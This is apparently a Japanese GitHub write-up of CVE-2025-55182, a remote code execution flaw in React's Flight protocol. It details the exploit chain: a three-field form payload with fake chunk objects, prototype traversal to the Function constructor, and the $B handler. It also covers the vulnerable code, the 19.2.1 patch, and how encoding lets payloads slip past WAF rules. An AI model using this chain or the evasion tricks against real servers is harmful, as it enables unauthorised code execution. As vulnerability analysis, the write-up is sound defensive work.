NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 は、React の Flight Protocol における重大な RCE 脆弱性です。この攻撃は パストラバーサル + 偽のチャンク注入 + $B ハンドラの悪用 を連鎖させ、Function(attacker_code) を実行します。
ワーキングエクスプロイトチェーンを提供してくれた maple3142 に感謝します!
このエクスプロイトは、3つのフォームフィールドを使用して悪意のあるペイロードを構築します:
then を持つ 偽のチャンクオブジェクト を作成 (フィールド1 $@0 → フィールド0)_formData.get が $1:constructor:constructor に設定された 偽の _response を埋め込む$B ハンドラ をトリガーし、response._formData.get(response._prefix + id) を呼び出す_formData.get が Function に解決され、Function(code) を実行┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### 主要コンポーネント
| コンポーネント | 目的 |
|-----------|---------|
| `then: "$1:__proto__:then"` | 自己参照可能なthenable。チャンク1(`$@0`)はチャンク0を指す。 |
| `status: "resolved_model"` | オブジェクトを有効なReactチャンクとして見せる。 |
| `reason: -1` | rootReferenceをundefinedに設定(参照競合を回避)。 |
| `value: '{"then":"$B1337"}'` | `$B`ハンドラをトリガーするネストされたペイロード。 |
| `_response._prefix` | RCEコード文字列を含む。 |
| `_response._chunks: "$Q2"` | チャンク処理中のクラッシュを防ぐ空のMap。 |
| `_response._formData.get` | `$1:constructor:constructor`を介して`Function`を指す。 |
### コンポーネント詳細
#### フォームフィールド構造
このエクスプロイトは循環参照を持つ3つのフォームフィールドを使用します:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then" は、実際の関数 に解決される自己参照を作成します:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**これが重要な理由:**
1. `then` は `Chunk.prototype.then` に解決される - 実際の呼び出し可能な関数
2. これにより、偽のオブジェクトは有効な thenable となる
3. await されると、JS は `obj.then(resolve, reject)` を呼び出す
4. `Chunk.prototype.then` が偽のオブジェクトを `this` として実行される:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) は this._response - 攻撃者の偽の _response を使用する:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**自己参照がない場合**、偽の`_response`は決して使用されない。自己参照により、`Chunk.prototype.then`は攻撃者のオブジェクトを実際のChunkとして扱うようになる。
#### Two-Stage Thenable Trigger (`value`)
`value`フィールドには、別のthenableを含むネストされたJSON文字列が含まれている:```json
{"then":"$B1337"}
ステージ 1: 外部オブジェクトの自己参照 then がチャンク処理をトリガーする
ステージ 2: Reactがモデルを解決するとき、value を解析し、then: "$B1337" を持つ別のthenableに遭遇する。$B プレフィックスがハンドラをトリガーする:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` は `"$1:constructor:constructor"` → `getOutlinedModel()` は `Function` に解決される。
これは: `Function(code + "1337")` → 有効なJSになる。なぜなら `1337` は単なる末尾式だからである。
#### 防御的パディング (`_chunks`)
偽の `_response` はクラッシュを防ぐために有効な `_chunks` プロパティを持っている必要がある:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Reactの内部コードは、処理中に response._chunks.get() や response._chunks.has() にアクセスすることがあります。空のMapは、これらの呼び出しをエラーなく満たし、脆弱な $B ハンドラーへの実行を可能にします。
| パス | 関数 | エクスプロイトにおける目的 |
|---|---|---|
| パストラバーサル | getOutlinedModel() | $1:constructor:constructor → Function を解決 |
偽の _response インジェクション | initializeModelChunk() | 攻撃者の chunk._response を使用 |
$B ハンドラー | parseModelString() | _formData.get(_prefix + id) → RCE を呼び出す |
decodeReply() はエントリポイントであり、それ自体は脆弱ではありません。
パストラバーサル (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**フェイクレスポンスの使用法** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B ハンドラ RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## 修正 (19.2.1)
このパッチには複数の修正が含まれています:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - 重要な修正 ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty による getOutlinedModel() でのチェック - プロトタイプの走査をブロック ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
reviveModel()における__proto__の取り扱い - プロトタイプ汚染を防止する ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() における型チェック - リスナーを検証 ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| 機能 | ステータス | 備考 |
|---|---|---|
| プロトタイプチェーン探索 | ✓ 確認済み | $1:constructor:constructor 経由 |
| Functionコンストラクタへのアクセス | ✓ 確認済み | マニフェスト不要 |
| 完全なRCE | ✓ 確認済み | 偽のチャンク+$Bハンドラ経由 |
このセクションでは、従来のパターンマッチング型WAFルールがこのエクスプロイトを確実に検出できない理由を説明します。これらの制限を理解することは、防御体制を評価するセキュリティチームにとって不可欠です。
エクスプロイトペイロードは複数のパーサーを通過し、それぞれが異なるエンコードをサポートしています。生のHTTPバイトを検査するWAFはエンコードされた文字列を見るのに対し、サーバーは処理前にデコードします。
| レイヤー | パーサー | デコード |
|---|---|---|
| JSON構造 | JSON.parse() | \uXXXX Unicodeエスケープ |
| JavaScriptコード | Function() コンストラクタ | \uXXXX, \xXX, 8進数, fromCharCode() |
これにより根本的な不一致が生じます。WAFはエンコードされたバイトを見るのに対し、アプリケーションはデコードされた文字列を見ることになります。